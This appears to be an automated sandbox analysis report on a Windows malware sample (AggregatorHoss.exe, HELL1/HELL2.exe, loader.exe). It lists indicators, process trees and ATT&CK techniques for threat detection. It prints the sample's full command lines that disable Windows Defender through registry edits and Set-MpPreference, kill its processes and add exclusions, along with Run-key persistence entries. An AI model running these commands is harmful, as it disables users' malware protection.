a72547c70d47fb619a61fd693791d33018afe65d4b5d2ff298e8b440a1117047

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 16 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5920	powershell.exe
3004	powershell.exe
1472	powershell.exe
4212	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

pid	Process
1472	powershell.exe
4212	powershell.exe

Executes dropped EXE 12 IoCs

pid	Process
5264	HELL1.exe
5884	AggregatorHoss.exe
3076	HELL1.exe
1720	HELL2.exe
1308	loader.exe
1096	HELL2.exe
5280	loader.exe
4168	HELL2.exe
4564	loader.exe
5356	loader.exe
3496	loader.exe
5784	loader.exe

Loads dropped DLL 6 IoCs

pid	Process
1308	loader.exe
5280	loader.exe
4564	loader.exe
5356	loader.exe
3496	loader.exe
5784	loader.exe

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\AggregatorHoss = "C:\\SysTempData\\AggregatorHoss.exe"	AggregatorHoss.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\HELL1 = "C:\\SysTempData\\HELL1.exe"	AggregatorHoss.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\HELL2 = "C:\\SysTempData\\HELL2.exe"	AggregatorHoss.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\GF28562 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kb_0e599d8e\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\GF28562 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kb_0e59985e\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\HELL2 = "C:\\SysTempData\\HELL2.exe"	AggregatorHoss.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\GF28562 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kb_0e599580\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\GF28562 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kb_0e59985e\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\GF28562 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kb_0e599580\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\GF28562 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kb_0e599d8e\\loader.exe"	loader.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4636	cmd.exe
2304	cmd.exe
2440	cmd.exe
816	cmd.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2440	cmd.exe
4636	cmd.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
5760	taskkill.exe
4152	taskkill.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
5920	powershell.exe
5920	powershell.exe
5920	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
1472	powershell.exe
1472	powershell.exe
1472	powershell.exe
4212	powershell.exe
4212	powershell.exe
4212	powershell.exe
1308	loader.exe
1308	loader.exe
5280	loader.exe
5280	loader.exe
5280	loader.exe
5280	loader.exe
1308	loader.exe
1308	loader.exe
4564	loader.exe
4564	loader.exe
5356	loader.exe
5356	loader.exe
5356	loader.exe
5356	loader.exe
4564	loader.exe
4564	loader.exe
3496	loader.exe
3496	loader.exe
5784	loader.exe
5784	loader.exe
5784	loader.exe
5784	loader.exe
3496	loader.exe
3496	loader.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5920	powershell.exe
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeIncreaseQuotaPrivilege	3004	powershell.exe
Token: SeSecurityPrivilege	3004	powershell.exe
Token: SeTakeOwnershipPrivilege	3004	powershell.exe
Token: SeLoadDriverPrivilege	3004	powershell.exe
Token: SeSystemProfilePrivilege	3004	powershell.exe
Token: SeSystemtimePrivilege	3004	powershell.exe
Token: SeProfSingleProcessPrivilege	3004	powershell.exe
Token: SeIncBasePriorityPrivilege	3004	powershell.exe
Token: SeCreatePagefilePrivilege	3004	powershell.exe
Token: SeBackupPrivilege	3004	powershell.exe
Token: SeRestorePrivilege	3004	powershell.exe
Token: SeShutdownPrivilege	3004	powershell.exe
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeSystemEnvironmentPrivilege	3004	powershell.exe
Token: SeRemoteShutdownPrivilege	3004	powershell.exe
Token: SeUndockPrivilege	3004	powershell.exe
Token: SeManageVolumePrivilege	3004	powershell.exe
Token: 33	3004	powershell.exe
Token: 34	3004	powershell.exe
Token: 35	3004	powershell.exe
Token: 36	3004	powershell.exe
Token: SeDebugPrivilege	4212	powershell.exe
Token: SeIncreaseQuotaPrivilege	1472	powershell.exe
Token: SeSecurityPrivilege	1472	powershell.exe
Token: SeTakeOwnershipPrivilege	1472	powershell.exe
Token: SeLoadDriverPrivilege	1472	powershell.exe
Token: SeSystemProfilePrivilege	1472	powershell.exe
Token: SeSystemtimePrivilege	1472	powershell.exe
Token: SeProfSingleProcessPrivilege	1472	powershell.exe
Token: SeIncBasePriorityPrivilege	1472	powershell.exe
Token: SeCreatePagefilePrivilege	1472	powershell.exe
Token: SeBackupPrivilege	1472	powershell.exe
Token: SeRestorePrivilege	1472	powershell.exe
Token: SeShutdownPrivilege	1472	powershell.exe
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeSystemEnvironmentPrivilege	1472	powershell.exe
Token: SeRemoteShutdownPrivilege	1472	powershell.exe
Token: SeUndockPrivilege	1472	powershell.exe
Token: SeManageVolumePrivilege	1472	powershell.exe
Token: 33	1472	powershell.exe
Token: 34	1472	powershell.exe
Token: 35	1472	powershell.exe
Token: 36	1472	powershell.exe
Token: SeIncreaseQuotaPrivilege	5920	powershell.exe
Token: SeSecurityPrivilege	5920	powershell.exe
Token: SeTakeOwnershipPrivilege	5920	powershell.exe
Token: SeLoadDriverPrivilege	5920	powershell.exe
Token: SeSystemProfilePrivilege	5920	powershell.exe
Token: SeSystemtimePrivilege	5920	powershell.exe
Token: SeProfSingleProcessPrivilege	5920	powershell.exe
Token: SeIncBasePriorityPrivilege	5920	powershell.exe
Token: SeCreatePagefilePrivilege	5920	powershell.exe
Token: SeBackupPrivilege	5920	powershell.exe
Token: SeRestorePrivilege	5920	powershell.exe
Token: SeShutdownPrivilege	5920	powershell.exe
Token: SeDebugPrivilege	5920	powershell.exe
Token: SeSystemEnvironmentPrivilege	5920	powershell.exe
Token: SeRemoteShutdownPrivilege	5920	powershell.exe
Token: SeUndockPrivilege	5920	powershell.exe
Token: SeManageVolumePrivilege	5920	powershell.exe
Token: 33	5920	powershell.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 6032 wrote to memory of 5264	6032	AggregatorHoss.exe	89
PID 5264 wrote to memory of 4636	5264	HELL1.exe	90
PID 5264 wrote to memory of 816	5264	HELL1.exe	91
PID 816 wrote to memory of 5920	816	cmd.exe	94
PID 4636 wrote to memory of 4064	4636	cmd.exe	95
PID 4636 wrote to memory of 3528	4636	cmd.exe	96
PID 4636 wrote to memory of 5792	4636	cmd.exe	99
PID 4636 wrote to memory of 1328	4636	cmd.exe	101
PID 3076 wrote to memory of 2440	3076	HELL1.exe	103
PID 3076 wrote to memory of 2304	3076	HELL1.exe	104
PID 4636 wrote to memory of 952	4636	cmd.exe	107
PID 2440 wrote to memory of 5308	2440	cmd.exe	108
PID 2304 wrote to memory of 3004	2304	cmd.exe	109
PID 4636 wrote to memory of 5948	4636	cmd.exe	110
PID 2440 wrote to memory of 3932	2440	cmd.exe	111
PID 4636 wrote to memory of 5540	4636	cmd.exe	112
PID 2440 wrote to memory of 2796	2440	cmd.exe	113
PID 4636 wrote to memory of 2192	4636	cmd.exe	114
PID 2440 wrote to memory of 4052	2440	cmd.exe	115
PID 4636 wrote to memory of 1472	4636	cmd.exe	116
PID 2440 wrote to memory of 5128	2440	cmd.exe	117
PID 2440 wrote to memory of 1632	2440	cmd.exe	118
PID 2440 wrote to memory of 1052	2440	cmd.exe	119
PID 2440 wrote to memory of 5404	2440	cmd.exe	120
PID 2440 wrote to memory of 4212	2440	cmd.exe	122
PID 4636 wrote to memory of 5760	4636	cmd.exe	123
PID 2440 wrote to memory of 4152	2440	cmd.exe	125
PID 6032 wrote to memory of 1720	6032	AggregatorHoss.exe	127
PID 1720 wrote to memory of 1308	1720	HELL2.exe	128
PID 1096 wrote to memory of 5280	1096	HELL2.exe	131
PID 5884 wrote to memory of 4168	5884	AggregatorHoss.exe	132
PID 4168 wrote to memory of 4564	4168	HELL2.exe	133
PID 5280 wrote to memory of 5116	5280	loader.exe	81
PID 5116 wrote to memory of 3820	5116	explorer.exe
PID 1308 wrote to memory of 5116	1308	loader.exe	81
PID 5116 wrote to memory of 4632	5116	explorer.exe
PID 5356 wrote to memory of 5116	5356	loader.exe	81
PID 4564 wrote to memory of 5116	4564	loader.exe	81
PID 5784 wrote to memory of 5116	5784	loader.exe	81
PID 3496 wrote to memory of 5116	3496	loader.exe	81

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
- Suspicious use of WriteProcessMemory
PID:5116
- C:\Users\Admin\AppData\Local\Temp\AggregatorHoss.exe
  "C:\Users\Admin\AppData\Local\Temp\AggregatorHoss.exe"
  2⤵
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:6032
- - C:\SysTempData\HELL1.exe
    "C:\SysTempData\HELL1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5264
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f & powershell Set-MpPreference -DisableRealtimeMonitoring $true & taskkill /f /im MsMpEng.exe /im WinDefend.exe 2>nul
      4⤵
      Executes a command shell one-liner
      System Time Discovery
      Suspicious use of WriteProcessMemory
      PID:4636
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        5⤵
        Modifies Windows Defender DisableAntiSpyware settings
        
        PID:4064
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
        5⤵
        
        PID:3528
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        5⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:5792
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        5⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:1328
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
        5⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:952
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
        5⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:5948
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f
        5⤵
        
        PID:5540
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        5⤵
        
        PID:2192
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1472
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im MsMpEng.exe /im WinDefend.exe
        5⤵
        Kills process with taskkill
        
        PID:5760
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\SysTempData'"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:816
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\SysTempData'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5920
- - C:\SysTempData\HELL2.exe
    "C:\SysTempData\HELL2.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1720
  - - C:\Users\Admin\AppData\Local\Temp\kb_0e599580\loader.exe
      "C:\Users\Admin\AppData\Local\Temp\kb_0e599580\loader.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1308

C:\SysTempData\AggregatorHoss.exe
C:\SysTempData\AggregatorHoss.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:5884
- C:\SysTempData\HELL2.exe
  "C:\SysTempData\HELL2.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4168
- - C:\Users\Admin\AppData\Local\Temp\kb_0e599d8e\loader.exe
    "C:\Users\Admin\AppData\Local\Temp\kb_0e599d8e\loader.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4564

C:\SysTempData\HELL1.exe
C:\SysTempData\HELL1.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3076
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f & powershell Set-MpPreference -DisableRealtimeMonitoring $true & taskkill /f /im MsMpEng.exe /im WinDefend.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  - System Time Discovery
  - Suspicious use of WriteProcessMemory
  PID:2440
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:5308
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
    3⤵
    PID:3932
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2796
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4052
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5128
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1632
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f
    3⤵
    PID:1052
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
    3⤵
    PID:5404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4212
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe /im WinDefend.exe
    3⤵
    - Kills process with taskkill
    PID:4152
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\SysTempData'"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\SysTempData'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3004

C:\SysTempData\HELL2.exe
C:\SysTempData\HELL2.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1096
- C:\Users\Admin\AppData\Local\Temp\kb_0e59985e\loader.exe
  "C:\Users\Admin\AppData\Local\Temp\kb_0e59985e\loader.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5280

C:\Users\Admin\AppData\Local\Temp\kb_0e599580\loader.exe
C:\Users\Admin\AppData\Local\Temp\kb_0e599580\loader.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5356

C:\Users\Admin\AppData\Local\Temp\kb_0e59985e\loader.exe
C:\Users\Admin\AppData\Local\Temp\kb_0e59985e\loader.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3496

C:\Users\Admin\AppData\Local\Temp\kb_0e599d8e\loader.exe
C:\Users\Admin\AppData\Local\Temp\kb_0e599d8e\loader.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5784

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry